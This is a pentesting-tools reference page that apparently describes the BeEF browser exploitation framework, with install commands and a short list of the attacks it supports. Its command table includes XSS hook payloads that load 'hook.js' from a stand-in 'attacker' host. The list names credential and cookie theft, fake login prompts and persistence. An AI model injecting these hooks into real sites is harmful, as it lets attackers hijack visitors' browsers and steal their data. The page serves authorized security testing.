Exploitation
BeEF (Browser Exploitation Framework) is a penetration testing tool focusing on web browsers. It hooks browsers and uses them as beachheads for further attacks.
sudo apt install beef-xss
beef-xss
BeEF is the leading browser exploitation framework that uses hooked browsers as beachheads for client-side attacks. When an XSS vulnerability allows JavaScript injection, BeEF's hook.js loads in the victim's browser, establishing a persistent communication channel with the BeEF server.
The framework's web-based control panel shows all hooked browsers in real-time with detailed information about the browser type, version, installed plugins, and security posture. Over 400 command modules enable data theft, session hijacking, network scanning, social engineering, and more.
BeEF integrates with Metasploit for advanced post-exploitation, allowing seamless transitions from browser hooks to system-level compromise. It is essential for demonstrating client-side attack vectors during authorized penetration tests.
beef-xssStart BeEF<script src="http://attacker:3000/hook.js"></script>Hook scriptsudo nano /etc/beef-xss/config.yamlConfigure credentials, host, and port in the config filecurl http://127.0.0.1:3000/ui/panelAccess the BeEF control panel (default beef/beef login)<img src="http://attacker:3000/hook.js" onerror="...">Alternate hook injection via an image error handlermsfconsole -r /usr/share/beef-xss/modules/msf.rcLoad the Metasploit resource script for browser exploitationcurl http://127.0.0.1:3000/api/hooks?token=TOKENQuery hooked browsers through the BeEF RESTful APIHook victim browsers through XSS injection for persistent remote control.
Steal saved credentials, session cookies, and form data from hooked browsers.
Scan internal networks from the hooked browser to map behind-firewall resources.
Create fake login prompts and social engineering dialogs through the hooked browser.
Launch Metasploit exploits through the hooked browser for system-level compromise.
Maintain access through browser re-hooking and persistent backdoor communication.
Exploitation
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
Web Application
XSSer (Cross Site Scripting Exploiter) is an automatic framework to detect, exploit, and report XSS vulnerabilities in web applications. It contains features to bypass several filters and various options for automated payload generation.
Social Engineering
The Social-Engineer Toolkit (SET) is a penetration testing framework designed for social engineering. It has many attack vectors to exploit human weaknesses.
Web Application
XSStrike is an advanced Cross-Site Scripting (XSS) detection suite. It features intelligent payload generation, context analysis, a powerful fuzzing engine, and built-in WAF detection and bypass capabilities.
Sniffing & Spoofing
Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.
Exploitation
The standardized sequence for initializing the Browser Exploitation Framework (BeEF), serving the hook script, and managing hooked targets within a controlled testing environment.
Learn what XSS is, its types, and how to prevent XSS with a worked DVWA example, context-aware defenses, testing tips, and a cheat sheet.
Web Security · IntermediateA comprehensive guide to web application security covering the OWASP Top 10 vulnerabilities, defense in depth strategies, and secure development lifecycle practices.
Security · BeginnerLearn about social engineering attacks including phishing, pretexting, and manipulation techniques with defense strategies.
Web Security · IntermediateLearn API hacking step by step: discover endpoints, test authentication and authorization, find BOLA flaws with a worked crAPI example, test JWTs and GraphQL, and report findings — with tools, a cheat sheet and a checklist.
Web panel shows hooked browsers. Can run commands and modules against them.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.